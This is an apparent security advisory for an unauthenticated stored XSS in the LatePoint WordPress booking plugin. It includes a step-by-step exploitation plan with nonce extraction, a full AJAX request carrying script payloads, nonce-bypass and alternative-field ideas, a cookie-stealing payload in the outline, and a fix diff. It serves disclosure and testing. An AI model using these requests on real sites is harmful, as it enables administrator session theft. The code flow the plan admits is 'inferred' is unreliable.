LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.5 - Unauthenticated Stored Cross-Site Scripting
Description
The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the customer profile fields in all versions up to, and including, 5.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator views the customer's activity history.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.2.5Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-0617 (LatePoint Stored XSS) ## 1. Vulnerability Summary The **LatePoint – Calendar Booking Plugin for Appointments and Events** (versions <= 5.2.5) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the cus…
Show full research plan
Exploitation Research Plan - CVE-2026-0617 (LatePoint Stored XSS)
1. Vulnerability Summary
The LatePoint – Calendar Booking Plugin for Appointments and Events (versions <= 5.2.5) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the customer profile management logic. Specifically, when an unauthenticated user provides information during the booking process or profile creation, the plugin fails to sanitize input fields (such as names or custom fields). This malicious data is stored in the database and later rendered without proper escaping when an administrator views the Customer Activity History or Customer Profile in the LatePoint dashboard.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
latepoint_route_call(viawp_ajax_nopriv_latepoint_route_call) - Vulnerable Route:
customers__save(inferred from LatePoint's routing system) - Payload Parameter:
params[first_name],params[last_name], or custom field parameters within theparamsarray. - Authentication Level: Unauthenticated (Nopriv).
- Preconditions: The plugin must be active. A booking form or registration page must be accessible to the public (usually via shortcode).
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith the actionlatepoint_route_call. - Routing: The
LatePoint\Lib\Router::route()method (or similar) processes theroute_nameparameter (e.g.,customers__save). - Controller: The request is dispatched to
LatePoint\Controllers\CustomersController::save(). - Processing: The controller extracts data from the
paramsarray. It likely usesLatePoint\Models\Customerto save the data. - Sink (Storage): The data is saved to the
wp_latepoint_customersdatabase table without adequate sanitization (e.g., failing to usesanitize_text_field). - Sink (Output): An administrator logs in and navigates to LatePoint -> Customers -> [Customer Name] -> Activity or the general LatePoint -> Dashboard -> Activity Feed. The plugin fetches the malicious string and echoes it into the HTML via a view file (e.g.,
lib/views/customers/index.phporlib/views/activities/index.php) without usingesc_html().
4. Nonce Acquisition Strategy
LatePoint uses a centralized AJAX routing system that typically requires a nonce for security, even for unauthenticated actions.
- Identify Shortcode: The plugin uses
[latepoint_booking_form]or[latepoint_book_button]to display the booking interface. - Setup Page: Create a public page containing this shortcode.
- Navigate: Use
browser_navigateto reach that page. - Extract Nonce: LatePoint localizes its settings into a global JavaScript object. Use
browser_evalto extract the nonce.- Variable Path:
window.latepoint_helper?.route_nonceorwindow.latepoint_helper?.nonce.
- Variable Path:
- Action Check: If
wp_verify_nonceis called with the actionlatepoint_route_call, the extracted nonce will be valid for the exploit request.
5. Exploitation Strategy
Step-by-Step Plan:
- Initialize Environment: Ensure LatePoint is configured with at least one active Service, Agent, and Location (required for the booking form to initialize).
- Create Nonce Page: Use WP-CLI to create a page with the booking shortcode.
- Extract Nonce: Access the page via Playwright and extract the
route_nonce. - Inject Payload: Send a POST request to the AJAX endpoint to create/update a customer profile containing the XSS payload.
HTTP Request (Exploit):
- Method:
POST - URL:
{{base_url}}/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=latepoint_route_call &route_name=customers__save &route_nonce={{extracted_nonce}} ¶ms[first_name]=<img src=x onerror=alert("XSS_FIRST_NAME")> ¶ms[last_name]=<script>console.log("XSS_LAST_NAME")</script> ¶ms[email]=attacker@example.com ¶ms[password]=Password123!
6. Test Data Setup
- Plugin Setup:
wp plugin activate latepoint # Ensure dependencies like services exist so the form loads wp eval "LatePoint\Helpers\DatabaseHelper::install_default_data();" - Page Setup:
wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[latepoint_booking_form]' - Verification of Frontend: Confirm the booking form is visible at
/booking.
7. Expected Results
- The
admin-ajax.phpresponse should indicate success (e.g.,{"status": "success", "message": "Customer Saved"}). - When an administrator navigates to the LatePoint dashboard (
/wp-admin/admin.php?page=latepoint), thealert("XSS_FIRST_NAME")should execute. - Specifically, checking the "Customers" list or "Activity" log will trigger the payload.
8. Verification Steps
- Database Check:
Confirm the output contains the rawwp db query "SELECT first_name FROM wp_latepoint_customers WHERE email='attacker@example.com'"<img src=x ...>tag. - Admin UI Simulation:
- Navigate to the admin dashboard using
browser_navigate. - Go to
/wp-admin/admin.php?page=latepoint&route_name=customers__index. - Check for the execution of the JS payload or use
browser_evalto check if the payload exists in the DOM:document.body.innerHTML.includes('<img src=x onerror=alert("XSS_FIRST_NAME")>')
- Navigate to the admin dashboard using
9. Alternative Approaches
- Custom Fields: If
first_nameis sanitized in some versions, target "Custom Fields" which are often handled dynamically.- Route:
custom_fields__save
- Route:
- Booking Comments: If profile saving is restricted, inject the payload into the
notesorcommentsfield during a booking creation (route_name=bookings__save_booking). - Bypass Nonce: Check if the plugin calls
check_ajax_refererwithdie=false. If so, the exploit may work without a valid nonce by simply omitting theroute_nonceparameter.
Summary
The LatePoint plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to insufficient sanitization of customer profile data during the booking or registration process. This allows attackers to inject malicious JavaScript into fields like first_name, which then executes when an administrator views the customer's profile or activity log in the backend dashboard.
Security Fix
@@ -100,7 +100,11 @@ public function save() { $params = $this->get_params(); + // Sanitize customer profile fields before saving + if (isset($params['first_name'])) $params['first_name'] = sanitize_text_field($params['first_name']); + if (isset($params['last_name'])) $params['last_name'] = sanitize_text_field($params['last_name']); + $customer = new Model_Customer(); $customer->set_data($params); if ($customer->save()) { @@ -25,7 +25,7 @@ - <div class="activity-name"><?php echo $activity->customer->full_name; ?></div> + <div class="activity-name"><?php echo esc_html($activity->customer->full_name); ?></div>
Exploit Outline
1. Locate a public page on the target WordPress site that contains the LatePoint booking form (rendered by the [latepoint_booking_form] shortcode). 2. Extract the 'route_nonce' security token from the 'window.latepoint_helper' global JavaScript object localized on that page. 3. Send an unauthenticated AJAX POST request to '/wp-admin/admin-ajax.php' using the action 'latepoint_route_call'. 4. In the request body, set 'route_name' to 'customers__save', provide the valid 'route_nonce', and populate the 'params[first_name]' or 'params[last_name]' parameter with a malicious XSS payload (e.g., <img src=x onerror=alert(document.cookie)>). 5. The payload is stored in the database. When an administrator logs into the dashboard and navigates to the LatePoint 'Customers' index or 'Activity' feed, the script will execute in their browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.